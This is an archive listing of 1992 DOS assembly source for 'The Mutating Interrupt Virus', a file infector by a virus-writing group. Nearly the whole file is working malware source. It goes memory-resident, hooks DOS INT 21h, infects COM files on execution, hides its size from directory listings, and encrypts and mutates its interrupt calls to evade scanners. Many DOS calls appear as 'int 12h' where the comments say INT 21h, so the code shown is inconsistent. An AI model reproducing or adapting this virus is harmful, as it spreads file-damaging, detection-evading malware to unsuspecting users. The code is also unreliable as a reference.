home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MUTINT.ASM < prev    next >
Assembly Source File  |  1992-11-29  |  13KB  |  417 lines

  1. ;****************************************************************************
  2. ;* The Mutating Interrupt Virus                         -Soltan Griss-
  3. ;*                                                  [RABID] -=+ Front 242 +=-
  4. ;*
  5. ;*
  6. ;* Well this is my Third Release of many to come. This virus uses the latest
  7. ;* of RABID's new inventions the "MUTATING INTERRUPT", what it does (nothing
  8. ;* to special) is Mutate all int 21h (CD 21) to a random interrupt.
  9. ;* Then before executation it will change it back to INT 21.
  10. ;*
  11. ;* Alot of people are wondering if RABID is Still around. YES. Wea reback and 
  12. ;* Kicking, although right now we have limited members, it soon will change.
  13. ;*
  14. ;*
  15. ;* Many Thanks go out to Data Disruptor, who originally came up with the 
  16. ;* interrupt swapping idea.
  17. ;*
  18. ;*
  19. ;* SOON TO COME: Why use conventional memory when do has left so many holes??
  20. ;*               Find out soon in one of our next RELEASES.
  21. ;*
  22. ;*               A Real Mutating virus with moveable modular segments!!<G>! 
  23. ;*
  24. ;*
  25. ;*
  26. ;* A Word of thanks go out to.
  27. ;*
  28. ;* YAM- Keep up the hard work. Alot of improvement come with time.
  29. ;* Admiral Bailey. Waitinf for the next version of the IVP!
  30. ;*
  31. ;*
  32. ;****************************************************************************
  33.  
  34.  
  35.  
  36. seg_a           segment 
  37.                 assume  cs:seg_a,ds:seg_a,es:nothing
  38.               
  39.         org     100h
  40. start:  db      0E9h,06,00,42h,0f2h    ; Jump to virus + F242 id string
  41.  
  42.  
  43. vstart  equ     $                
  44. key:    dw      0                      ;encryptor key.
  45. i_key:  dw      12cdh                  ;Interrupt key
  46.         call    code_start 
  47.  
  48.  
  49. code_start:          
  50.         pop     si
  51.         sub     si,offset code_start   ;get current infected files size
  52.         mov     bp,si
  53.         
  54.  
  55. crypter: 
  56.         mov    cx,(vend-check) 
  57.         mov    dh,byte ptr cs:[key+bp]
  58.         mov    si,offset check 
  59.         add    si,bp
  60. loo:    mov    ah,byte ptr cs:[si]      ;Decrypt the virus   
  61.         xor    ah,dh                       
  62.         mov    byte ptr cs:[si],ah
  63.         inc    si
  64.         loop   loo
  65.  
  66. code:   
  67.  
  68.         mov     si,offset check        
  69.         mov     di,offset check       
  70.         mov     cx,(vend-check)    
  71. looper: mov     ax,[si]               
  72.         cmp     ax,word ptr cs:[i_key+bp]  ;Change interrupts back            
  73.         je      change                
  74. doit:   mov     [di],ax               
  75.         inc     si                    
  76.         inc     di                    
  77.         loop    looper                
  78.         jmp     check                  
  79. change: mov     ax,21cdh              
  80.         jmp     doit                  
  81.  
  82. info:   db      'The Mutating Interrupt Virus  '
  83.         db      'RABID`S Back and Kicking in `93  -Soltan Griss-'
  84.  
  85. check:  
  86.         mov     ax,0F242h                 ;Check to see if we are already 
  87.         int     12h
  88.         cmp     bx,0F242h                 ;resident
  89.         je      Already_here
  90. load:                                     ;Virus Id string so they NAME it 
  91.                                           ; RIGHT!!!!
  92.         push    cs      
  93.         pop     ds
  94.  
  95.         
  96.         mov     ah,49h                          ;Release current Memory block
  97.         int     12h
  98.         
  99.  
  100.         mov     ah,48h                          ;Request Hugh size of memory
  101.         mov     bx,0ffffh                       ;returns biggest size
  102.         int     12h
  103.         
  104.         
  105.  
  106.         mov     ah,4ah
  107.         sub     bx,(vend-vstart+15)/16+(vend-vstart+15)/16+1
  108.         jc      exit                               ;subtract virus size
  109.         int     12h
  110.         
  111.  
  112.         mov     ah,48h
  113.         mov     bx,(vend-vstart+15)/16+(vend-vstart+15)/16  
  114.         int     12h                             
  115.         jc      exit                              ;request last XXX pages
  116.                                                   ;allocate it to virus
  117.  
  118.         dec     ax
  119.         
  120.         push    es
  121.         
  122.         mov     es,ax
  123.         
  124.         mov     byte ptr es:[0],'Z'             ;make DOS the  owner
  125.         mov     word ptr es:[1],8
  126.         mov     word ptr es:[3],(vend-vstart+15)/8    ;put size here
  127.         sub     word ptr es:[12h],(vend-vstart+15)/8  ;sub size from current         
  128.                                                        ;memory
  129.         inc     ax
  130.  
  131.         
  132.         lea     si,[bp+offset vstart]       ;copy it to new memory block
  133.         xor     di,di
  134.         mov     es,ax
  135.         mov     cx,(vend-vstart+5)/2
  136.         cld
  137.         rep     movsw
  138.  
  139.         
  140.         xor     ax,ax        
  141.         mov     ds,ax
  142.         push    ds
  143.         lds     ax,ds:[21h*4]                        ;swap vectors manually
  144.         mov     word ptr es:[old_21-vstart],ax
  145.         mov     word ptr es:[old_21-vstart+2],ds
  146.         pop     ds
  147.         mov     word ptr ds:[21h*4],(new_21-vstart)
  148.         mov     ds:[21h*4+2],es
  149.  
  150. exit:
  151. already_here:        
  152.         push    cs
  153.         pop     ds
  154.         push    cs
  155.         pop     es
  156.         mov     si,offset buffer                     ;Copy five bytes back!
  157.         add     si,Bp
  158.         mov     di,100h
  159.         movsw
  160.         movsw
  161.         movsb
  162.         mov     bp,100h
  163.         jmp     bp
  164.  
  165.         
  166.  
  167. ;***************************************************************************
  168.  
  169. old_21: dw      0h,0h
  170. buffer  db      0cdh,20h,0,0,0                  ;Buffer to hold the infected 
  171. old_date: dw    0                               ;files 5 bytes
  172. old_time: dw    0
  173. jump_add: db    0E9h
  174.           db    0,0
  175.           db    0F2h,42h
  176.  
  177. new_21: 
  178.         cmp     ax,0f242h                       ;Are we going resident?
  179.         je      SAY_YES                          
  180.         cmp     ax,4b00h                        ;Are we executing?
  181.         je      exec
  182.         cmp     ah,11h
  183.         je      hide_size                       ;doing a DIR??
  184.         cmp     ah,12h
  185.         je      hide_size
  186.         jmp     do_old
  187. exec:   jmp     exec2
  188. SAY_YES:mov     bx,0f242h                        
  189. do_old: jmp     dword ptr cs:[(old_21-vstart)]  ;If not then do old int 21
  190.         ret
  191.  
  192. hide_size:
  193.         pushf
  194.         push    cs
  195.         call    do_old                          ;get the current FCB
  196.         cmp     al,00h
  197.         jnz     dir_error                       ;jump if bad FCB
  198.         
  199.         push    ax
  200.         push    bx
  201.         push    dx
  202.         push    ds
  203.         push    es                              ;undocumented get FCB 
  204.         mov     ah,51h                          ;location
  205.         int     12h
  206.         mov     es,bx                           ;get info from FCB
  207.         cmp     bx,es:[16h]
  208.         jnz     not_inf
  209.         mov     bx,dx
  210.         mov     al,[bx]
  211.         push    ax
  212.         mov     ah,2fh                          ;get DTA 
  213.         int     12h
  214.         pop     ax
  215.         inc     al                              ;Check for extended FCB
  216.         jnz     normal_fcb
  217.         add     bx,7h
  218. normal_fcb:
  219.         mov     ax,es:[bx+17h]
  220.         and     ax,1fh
  221.         xor     al,01h                          ;check for 2 seconds
  222.         jnz     not_inf
  223.         
  224.         and     byte ptr es:[bx+17h],0e0h       ;subtract virus size
  225.         sub     es:[bx+1dh],(vend-vstart)
  226.         sbb     es:[bx+1fh],ax
  227. not_inf:pop     es
  228.         pop     ds
  229.         pop     dx
  230.         pop     bx
  231.         pop     ax
  232. dir_error:        
  233.         iret 
  234.  
  235. exec2:  push    ax 
  236.         push    bx
  237.         push    cx
  238.         push    dx
  239.         push    ds
  240.         push    es
  241.  
  242.         call    infect                         ;Lets infect the file!!
  243.         
  244. backup: pop     es
  245.         pop     ds
  246.         pop     dx 
  247.         pop     cx
  248.         pop     bx
  249.         pop     ax
  250.  
  251.         jmp     do_old                          ;go back to original load
  252.  
  253.  
  254. infect: 
  255.         mov     ax,3d02h
  256.         int     12h
  257.         jc      quit1                           ;open the file
  258.         
  259.         
  260.         mov     bx,ax
  261.                 
  262. A_open: push    cs
  263.         pop     ds
  264.  
  265.         mov     ax,4200h   
  266.         xor     cx,cx      
  267.         xor     dx,dx                           ;move file pointer to begining
  268.         int     12h                             ;(FOR LATER MODIFICATION ONLY)
  269.  
  270.  
  271.         mov     ah,3fh
  272.         mov     cx,5h
  273.         mov     dx,(buffer-vstart)              ;load in the first 5 bytes
  274.         int     12h
  275.         jc      quit1
  276.         
  277.         cmp     word ptr cs:[(buffer-vstart)],5A4Dh ;check to see if its an
  278.         je      quit1                                                ;EXE
  279.         
  280.         cmp     word ptr cs:[(buffer-vstart)+3],42F2h
  281.         je      quit1
  282.                                                     ;if so then its infected
  283.         
  284.         
  285.         jmp     qqqq
  286.  
  287. quit1:  jmp     quit2        
  288.         
  289.         
  290. qqqq:   mov     ax,5700h
  291.         int     12h
  292.         jc      quit1
  293.  
  294.         mov     word ptr cs:[(old_time-vstart)],cx  ;get the files time 
  295.         mov     word ptr cs:[(old_date-vstart)],dx  ;and date
  296.  
  297.         mov     ax,4202h          
  298.         xor     cx,cx             
  299.         xor     dx,dx                    ;put file pointer at end
  300.         int     12h
  301.         jc      quit1
  302.         
  303.         
  304.         
  305.         mov     cx,ax
  306.         sub     cx,3                     ;write jump lenght to jump buffer
  307.         add     cx,4
  308.         mov     word ptr cs:[(jump_add+1-vstart)],cx
  309.  
  310.  
  311.  
  312.         mov     ah,2ch                 ;get random number for interrupt 
  313.         int     12h                    ;swapping
  314.         cmp     dh,03h                 ;don't like INT 3'S (1 byte only not 2)
  315.         jne     write_key
  316.         inc     dh
  317.  
  318.  
  319. write_key:        
  320.         
  321.         mov     word ptr cs:[key-vstart],cx      ;save encryption key
  322.         mov     byte ptr cs:[i_key-vstart+1],dh    ;save interupt key
  323.         
  324.         mov     si,(check-vstart)  ;write from check to end
  325.         mov     di,(vend-vstart)
  326.         mov     cx,(vend-check)    
  327.  
  328. topper: mov    al,byte ptr cs:[(si)]
  329.         cmp    al,0cdh
  330.         je     changeit
  331. top2:   mov    byte ptr cs:[(di)],al
  332. tor:    inc    si                       ;this "mutating routine" is kind 
  333.         inc    di                       ;messy but i'll improve it for version
  334.         loop   topper                   ;2.0
  335.         jmp    crypt
  336. changeit:
  337.         mov    byte ptr cs:[(di)],al
  338.         inc    di
  339.         inc    si
  340.         dec    cx
  341.         mov    al,byte ptr cs:[(si)]
  342.         cmp    al,21h
  343.         jne    top2
  344.         mov    byte ptr cs:[(di)],dh
  345.         jmp    tor
  346.         
  347. quit:   jmp    quit2        
  348.  
  349.  
  350. crypt: 
  351.         
  352.         
  353.  
  354.         mov    cx,(vend-check)
  355.         mov    dh,byte ptr cs:[key-vstart]
  356.         mov    si,(vend-vstart)
  357. lop:    mov    ah,byte ptr cs:[si]         
  358.         xor    ah,dh                            ;Encrypt the code   
  359.         mov    byte ptr cs:[si],ah      
  360.         inc    si
  361.         loop   lop
  362.  
  363.  
  364.         mov     cx,(check-vstart)  
  365.         mov     ah,40h                          ;write decrypting routine 
  366.         mov     dx,(vstart-vstart)              ;to file first
  367.         int     12h
  368.         jc      quit
  369.  
  370.         
  371.         mov     cx,(vend-check)                    ;write the encrypted code
  372.         mov     ah,40h                              ; to the end of the file
  373.         mov     dx,(vend-vstart)                        
  374.         int     12h
  375.         jc      quit
  376.         
  377.         
  378.         mov     ax,4200h                            ;move file pointer to the 
  379.         xor     cx,cx                               ;begining to write the JMP
  380.         xor     dx,dx
  381.         int     12h
  382.  
  383.  
  384.         mov     cx,5
  385.         mov     ah,40h                              ;write the JMP top the file
  386.         mov     dx,(jump_add-vstart)
  387.         int     12h
  388.         
  389.         jc      quit
  390.  
  391.         mov     ax,5701h
  392.         mov     word ptr cx,cs:[(old_time-vstart)]  ;Restore old time,date
  393.         mov     word ptr dx,cs:[(old_date-vstart)]
  394.         
  395.         and     cl,0e0H
  396.         inc     cl                                  ;change seconds to 2
  397.         int     12h                     
  398.         
  399.  
  400.         mov     ah,3eh
  401.         int     12h
  402.  
  403.  
  404. quit2:  ret
  405.  
  406.  
  407. vend    equ     $
  408.         nop
  409.         nop
  410.  
  411. seg_a        ends
  412.         end     start
  413.  
  414.  
  415. ;WELL THATS IT. 
  416. If ya have any questions feel free to contact me on -=+ FRONT 242 +=- (CANADA)
  417.